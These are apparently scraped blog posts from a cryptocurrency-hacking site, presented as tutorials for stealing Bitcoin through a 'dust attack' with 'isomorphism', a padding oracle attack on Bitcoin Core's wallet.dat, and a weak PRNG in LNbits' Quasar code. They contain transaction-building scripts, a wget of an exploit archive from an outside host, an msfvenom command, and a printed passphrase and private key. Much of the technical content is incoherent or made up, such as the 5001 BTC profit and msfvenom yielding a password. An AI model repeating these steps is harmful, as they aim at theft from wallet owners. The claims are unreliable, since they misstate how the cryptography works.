We choose a Bitcoin Wallet from which we ultimately make a profit if the miners confirm the isomorphism. Since we are considering example No. 2, in our case we choose the Bitcoin Wallet address: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

In line No. 9 we need to indicate the Bitcoin Address for the dust attack

send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"

The amount of dust will be 555 satoshi , in line No. 15 we indicate this amount.

TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Next, we take into account Fee (commission for miners), this amount will be 226 satoshi

555 + 226 = 781 satoshi

We also need to consider returning our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK because we allocated 781 satoshi for the dust attack, subtract this amount from the total amount replenishing the balance of the cold wallet 33532 satoshi

33532 - 781 = 32751 satoshi 

In line No. 16 we indicate the amount of return of our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

We run our createrawtransaction.py script by pressing a key «F5» or option:Run / Run Module F5

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Run the script: createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")
dust_index = 0
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 33532
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

Result:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

--------------------------------------

OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a'

--------------------------------------

RawTX for performing isomorphism:
0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800

--------------------------------------

Link to gif content #04.2


We have received the RawTX dust transaction, now let’s go to the  Verify Transactions section to make sure that the transaction was created properly. Copy RawTX and paste it into the Verify transactions and other scripts input field

RawTX for performing isomorphism:

0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

ScriptSig Isomorphism

The goal of our dust attack is to get maximum profit from the Bitcoin Wallet to which we send 555 satoshi . To do this, we go to the ScriptSig Isomorphism section and convert the dust transaction into isomorphism, according to the theory of https://safecurves.cr.yp.to/ladder.html (two transactions must be confirmed by miners). The first transaction is a dust transaction, where a small amount of 555 satoshi is sent , the second transaction is an isomorphism of the first transaction, where a reverse transfer of funds from the balance of the victim of a dust attack occurs.

Link to gif content #05.2


We will publish the resulting isomorphism in the CryptoDeepTools repository

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt

According to the theory described in the Create Dust Transaction section , we need to change all existing values 74786964​​in the new isomorphism transaction to all current ones txidthat were made in the Bitcoin Wallet: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt on which we perform a dust attack with a small amount of 555 satoshi[ send_dust ]


Let’s run the script by specifying print(tx.serialize().hex()[+10:+74]) and convert the entire txid list into hash stream format

Link to gif content #07


After we have received all the streaming hash formats, we need to save the entire list by replacing txid , to do this, open the file: isomorphism.txt in Notepad++ , press the keys:
CTRL + Fwrite: 74786964 replace with: \ntxid\n

Let’s go to CryptoDeepTools and perform the replacement function in Notepad++ because we have received a list of txid , now from the list GitHubwe will copy and paste the entire list of streaming hash format into the file: isomorphism.txt


Link to gif content #09


Replacing the public key in the file: isomorphism.txt

Isomorphism is a new transaction and in place of the value 7075626b6579 we need to indicate the public key of the Bitcoin Wallet from which we want to make a transaction in order to obtain maximum profit. To do this, go to the PublicKey.txt file and run the python script: pubtoaddr.py to make sure whether the public key corresponds to the address for the dust attack.

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt

Afterwards we need to change all existing values7075626b6579 ​​to the value in the file: PublicKey.txt (All actions are also done in Notepad++ ) 


Link to gif content #11


Bitcoin address to receive all profits:

To transfer all accumulated BTC coins, we need to generate a completely new Bitcoin address in the format (SegWit):

3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac

In order to get hash160Bitcoin addresses we need to decode RedeemScriptusing the python script createrawtransaction.py

print(Tx.get_address_data(send_dust)['script_pubkey'])

After receiving hash160the new Bitcoin Address, (SegWit)we need to open the file:  isomorphism.txt in Notepad++ and replace the value with the received value 68617368313630hash160

We have added all the necessary values ​​to create a new transaction to make a profit from isomorphism, now we need to select all the text on the file:  isomorphism.txt by pressing the keys: CTRL + Aafter we combine everything into one line, for this we need to press the keys, CTRL + Jas a result we get a long line with spaces . We remove spaces by pressing the keys: CTRL + Freplace spaces. As a result, we get a new RawTX to complete the transaction.


Link to gif content #13


Any transaction must be confirmed by miners in order to send RawTX to the section field: Broadcast Transaction To submit an application for confirmation by miners, you must carefully ensure that the payment is created correctly; for this, go to the section: Verify Transactions and other scripts


The amount of profit in coins from a dust attack is:

5001.51473912 BTC // $ 215831966,02 United States Dollar



References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1 against weak ECDSA  signatures in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

YouTube: https://www.youtube.com/@cryptodeeptech

Video material: https://dzen.ru/video/watch/65be9256df804947fbd96fd7

Source: https://cryptodeeptools.ru/dustattack


DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10000 BTC

]]>
Padding Oracle Attack on Wallet.dat password decryption for the popular wallet Bitcoin Core https://cryptodeeptools.ru/padding-oracle-attack-on-wallet-dat/ Fri, 24 Nov 2023 20:59:03 +0000 https://cryptodeeptools.ru/?p=2475

In this article, we will use the classification of common attack patterns from the cybersecurity resource [CAPEC™] . The “Padding Oracle Attack” was first discussed on Wallet.dat back in 2012 (on the vulnerability management and threat analysis platform “VulDB” ) . The problem of the most popular Bitcoin Core wallet affects the work  AES Encryption Paddingin the file Wallet.dat

The technical details of this attack are known:


An attacker can effectively decrypt data without knowing the decryption key if the target system leaks information about whether a padding error occurred when decrypting the ciphertext. A target system that transmits this type of information becomes a padding oracle, and an attacker can use this oracle to efficiently decrypt the data without knowing the decryption key, issuing an average of 128*bcalls to the padding oracle (where bis the number of bytes in the ciphertext block). In addition to performing decryption, an attacker can also create valid ciphertexts (i.e., perform encryption) using a padding oracle, all without knowing the encryption key.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Any cryptosystem can be vulnerable to padding oracle attacks if encrypted messages are not authenticated to ensure their validity before decryption, and then the padding error information is passed on to the attacker. This attack method can be used, for example, to break CAPTCHA systems or decrypt/modify state information stored in client-side objects (such as hidden fields or cookies). 


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

This attack method is a side-channel attack on a cryptosystem that uses leaked data from a poorly implemented decryption procedure to completely undermine the cryptosystem. A single bit of information that tells an attacker whether a padding error occurred during decryption, in whatever form it may be, is enough for the attacker to break the cryptosystem. This bit of information may come in the form of an explicit completion error message, a blank page being returned, or even that the server is taking longer to respond (a timing attack).


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

This attack can be launched in cross-domain mode, where the attacker can use cross-domain information leaks to obtain bits of information from the padding oracle from the target system/service that the victim is interacting with.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

In symmetric cryptography, a padding oracle attack can be performed in the AES-256-CBC encryption mode (which is used by Bitcoin Core), in which the “oracle” (the source) communicates whether the padding of the encrypted message is correct or not. Such data could allow attackers to decrypt messages through the oracle using the oracle key  without knowing the encryption key.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Padding Oracle Attack Process on Wallet.dat

Let’s move on to the practical part and perform a series of actions through the exploit in order to fill out the oracle in the Wallet.dat file in the process and ultimately find the password we need in binary format.

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Capture The Flag (CTF)

Earlier, researchers and tournament participants CTFmade public a hacked [ wallet.dat 2023 ] Bitcoin Wallet: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b in the amount of :  44502.42 US dollars // BITCOIN: 1.17461256 BTC


Let’s follow the link to releases Bitcoin Core version 22.1

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
https://github.com/bitcoin/bitcoin/releases


Index of /bin/bitcoin-core-22.1/


../
test.rc1/                                          08-Nov-2022 18:08                   -
test.rc2/                                          28-Nov-2022 09:39                   -
SHA256SUMS                                         14-Dec-2022 17:59                2353
SHA256SUMS.asc                                     14-Dec-2022 17:59               10714
SHA256SUMS.ots                                     14-Dec-2022 17:59                 538
bitcoin-22.1-aarch64-linux-gnu.tar.gz              14-Dec-2022 17:59            34264786
bitcoin-22.1-arm-linux-gnueabihf.tar.gz            14-Dec-2022 18:00            30424198
bitcoin-22.1-osx-signed.dmg                        14-Dec-2022 18:00            14838454
bitcoin-22.1-osx64.tar.gz                          14-Dec-2022 18:00            27930578
bitcoin-22.1-powerpc64-linux-gnu.tar.gz            14-Dec-2022 18:00            39999102
bitcoin-22.1-powerpc64le-linux-gnu.tar.gz          14-Dec-2022 18:00            38867643
bitcoin-22.1-riscv64-linux-gnu.tar.gz              14-Dec-2022 18:01            34114511
bitcoin-22.1-win64-setup.exe                       14-Dec-2022 18:01            18771672
bitcoin-22.1-win64.zip                             14-Dec-2022 18:01            34263968
bitcoin-22.1-x86_64-linux-gnu.tar.gz               14-Dec-2022 18:01            35964880
bitcoin-22.1.tar.gz                                14-Dec-2022 18:01             8122372
bitcoin-22.1.torrent                               14-Dec-2022 18:01               49857



Install Bitcoin Core version 22.1

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

NECESSARILY! Restart QT Program // Restart Bitcoin Core

Press the keys:Ctrl + Q

You need to restart the program QTin order to synchronize the newwallet.dat

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s check using the getaddressinfo command Bitcoin Wallet:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

getaddressinfo "address"

Return information about the given bitcoin address.
Some of the information will only be present if the address is in the active wallet.

Let’s run the command:

getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Result:

{
  "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b",
  "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac",
  "ismine": true,
  "solvable": true,
  "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel",
  "iswatchonly": false,
  "isscript": false,
  "iswitness": false,
  "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f",
  "iscompressed": true,
  "ischange": false,
  "timestamp": 1,
  "labels": [
    ""
  ]
}
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s run the dumpprivkey command to get the private key to the Bitcoin Wallet:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

dumpprivkey "address"

Reveals the private key corresponding to 'address'.
Then the importprivkey can be used with this output

Let’s run the command:

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Result:

Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

We see that access to the private key of the Bitcoin Wallet  is password protected.

passphrase ?!?!?
passphrase ?!?!?
passphrase ?!?!?

Let’s run and decrypt the password into binary format, for this we will need to install the Bitcoin Core integration/staging treePadding Oracle Attack на Wallet.dat repositories ; for this you can open the finished file from  Jupyter Notebook  and upload it to the  Google Colab  notebook )


https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
ht tps://github.com/demining/CryptoDeepTools/tree/main/27PaddingOracleAttackonWalletdat

Padding_Oracle_Attack_on_Wallet_dat.ipynb


Let’s open the Google Colab service using the link: https://colab.research.google.com


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Click on "+"and “Create a new notepad”


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Install Ruby in Google Colab

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

To run the programs we need, we will install the object-oriented programming language Ruby


!sudo apt install ruby-full

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s check the installation version


!ruby --version
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install a library 'bitcoin-ruby'for interacting with the Bitcoin protocol/network


!gem install bitcoin-ruby

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'ecdsa'for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)


!gem install ecdsa

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'base58'to convert integer or binary numbers to base58and from.


!gem install base58

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'crypto'to simplify operations with bytes and basic cryptographic operations


!gem install crypto

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'config-hash'to simplify working with big data.


!gem install config-hash -v 0.9.0

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install the Metasploit Framework and use MSFVenom

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s see the contents of the folder"metasploit-framework"


ls

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Options:

!./msfvenom -help 
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet




Let’s install Bitcoin Core integration/staging tree in Google Colab:

!git clone https://github.com/bitcoin/bitcoin.git


ls

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s go through the directory to the file: aes.cpp to integrate the exploit to launch Padding Oracle Attack on Wallet.dat

cd bitcoin/src/crypto/

ls

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Open the file: aes.cpp using the cat utility

cat aes.cpp

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

To carry out the attack, upload the file: wallet.dat to the directory: bitcoin/src/crypto/

Let’s use the utility wgetand download wallet.dat from the 27PaddingOracleAttackonWalletdat repositories

!wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s check the contents of the directory: bitcoin/src/crypto/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s go back toMetasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s open the folders according to the directory:/modules/exploits/

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

ExploitDarlenePRO

Download "ExploitDarlenePRO"from the catalogue:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Unzip the contents ExploitDarlenePRO.zipusing the utilityunzip

!unzip ExploitDarlenePRO.zip
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s go through the catalogue:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

To run the exploit, let’s go back toMetasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

We need to identify our LHOST (Local Host)attacking  IP-addressvirtual machine.

Let’s run the commands:

!ip addr
!hostname -I
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Launch command:

!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Result:

1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101

We need to save the resulting binary format to a file: walletpassphrase.txtwe will use a Python script .

Team:

import hashlib

Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101"

f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Open the file: walletpassphrase.txt

ls
cat walletpassphrase.txt

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Result:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

The password to access the private key has been found!


Let’s use the command dumpprivkey "address"via the consoleBitcoin Core

Teams:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Result:

KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz

Private Key Received!


Let’s install the libraryBitcoin Utils

pip3 install bitcoin-utils
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s run the code to check the compliance of Bitcoin Addresses:

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f
Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f

--------------------------------------

The message to sign: CryptoDeepTech
The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q=
The signature is valid!

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
WIF:  KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
HEX:  3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

BALANCE: $ 44502.42



References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1 against weak ECDSA  signatures   in the  BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/0aCfT-kCRlw

Source: https://cryptodeeptools.ru/padding-oracle-attack-on-wallet-dat


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

]]>
How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework https://cryptodeeptools.ru/bitcoin-lightning-wallet-vulnerability/ Sat, 11 Nov 2023 15:23:43 +0000 https://cryptodeeptools.ru/?p=2442

In this article, we will focus on a smartphone application iOS and Android the popular Bitcoin Wallet that supports fast payments through (Lightning network) BLW: Bitcoin Lightning Wallet . Unfortunately, many autonomous nodes of the open source mobile application from LNbits Node Manager and Core Lightning are exposed to a HIGH RISK of losing all funds in various cryptocurrency coins.

Developer David Shares from the Japanese company Bitcoin Portal has published many documents .

Let’s look at the theoretical basis: LNbits is a free account system for many mobile applications that work with various cryptocurrency wallets. Initially, it gained wide popularity LNbits Node Managerwith the development of Bitcoin Lightning Wallet (BLW)… development of non-custodial and autonomous nodes for Bitcoin SPV, designed for Androidand iPhone with functionality Node.js. With autonomous nodes, you have full control over your funds and need to manage your funds yourself (unlike other mobile cryptocurrency wallet apps) .

The open source Node Manager LNbits solves several problems, such as:

  • Collection of paper prices for coins BTC, ETH, LTC, USDT, XLM, BNB, etc.
  • Maintaining a list of public nodes LNbitsthat Bitcoin Lightning Wallet (BLW)it uses to open payment channels.
  • Providing partial payment for payment routes.
  • Storing an encrypted backup of your payment channel.

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

LNbits node manager works with services:

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

According to the examples of Salvador Guerrero, many who have installed LNBitsa full-fledged Bitcoin node can run on a Raspberry Pi to send and receive Bitcoinwithout transaction fees . This is only possible if all crypto wallets LNbitsare in the same Core Lightning instance .

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Developer David Shares of the Japanese company Bitcoin Portal published a chronological list that shows that Lightning Networkit is drowning in technical problems, bugs, shortcomings, criticisms and exploits. It is an over-promised technology that does not provide decentralization and is still far from being functional and secure for users.


After a detailed study of all materials from the chronological list, we drew attention to a vulnerability in the framework and the process of working in the quasar.umd.js code

Quasar  is an open-source Vue.js- based framework that allows you to create responsive websites and mobile applications for various cryptocurrency wallets.

As we know from the source Snyk Vulnerability Database, the latest versions of Vue.js contained vulnerabilities, which allowed the LNbits v0.11.0 version to launch a series of cyclic errors in the quasar.umd.js code



Error in quasar.umd.js code

  // Use best available PRNG
  var randomBytes = (function () {
    // Node & Browser support
    var lib = typeof crypto !== 'undefined'
      ? crypto
      : (
        typeof window !== 'undefined'
          ? window.msCrypto // IE11
          : void 0
      );

    if (lib !== void 0) {
      if (lib.randomBytes !== void 0) {
        return lib.randomBytes
      }
      if (lib.getRandomValues !== void 0) {
        return function (n) {
          var bytes = new Uint8Array(n);
          lib.getRandomValues(bytes);
          return bytes
        }
      }
    }

In the case of a weak pseudo-random number generator, (PRNG) we are given the opportunity to obtain SEED and completely determine the private key to the Bitcoin Wallet, since the method lib.getRandomValues loses cryptographic strength over a random value.

Let’s move on to the practical part:

(You can open the finished file from Jupyter Notebook and upload it to Google Colab notebook )


https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV



Let’s consider a real example of extracting the private key of a Bitcoin Wallet from a weak pseudo-random number generator (PRNG)in the code quasar.umd.js


Bitcoin Wallet : In September 2023there was a theft in the amount of: 11032.77US dollars // BITCOIN: 0.30412330 BTC

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Bitcoin_Lightning_Wallet_Vulnerability.ipynb


Let’s open the Google Colab service using the link: https://colab.research.google.com


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Click on "+"and “Create a new notepad”


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Install Ruby in Google Colab

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

To run the programs we need, we will install the object-oriented programming language Ruby


!sudo apt install ruby-full

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s check the installation version


!ruby --version
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install a library 'bitcoin-ruby' for interacting with the Bitcoin protocol/network


!gem install bitcoin-ruby

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'ecdsa' for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)


!gem install ecdsa

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'base58' to convert integer or binary numbers to base58and from.


!gem install base58

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'crypto' to simplify operations with bytes and basic cryptographic operations


!gem install crypto

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'config-hash' to simplify working with big data.


!gem install config-hash -v 0.9.0

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install the Metasploit Framework and use MSFVenom

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s see the contents of the folder "metasploit-framework"


ls

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Options:

!./msfvenom -help 
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the GitHub code and use the vulnerable file:  quasar.umd.js


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

In the note we see a link to the file: quasar.umd.js


Let’s open the code:

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

LNbits, free and open-source Lightning wallet and accounts system

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Install lnbits in Google Colab:

!git clone https://github.com/lnbits/lnbits.git


ls


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

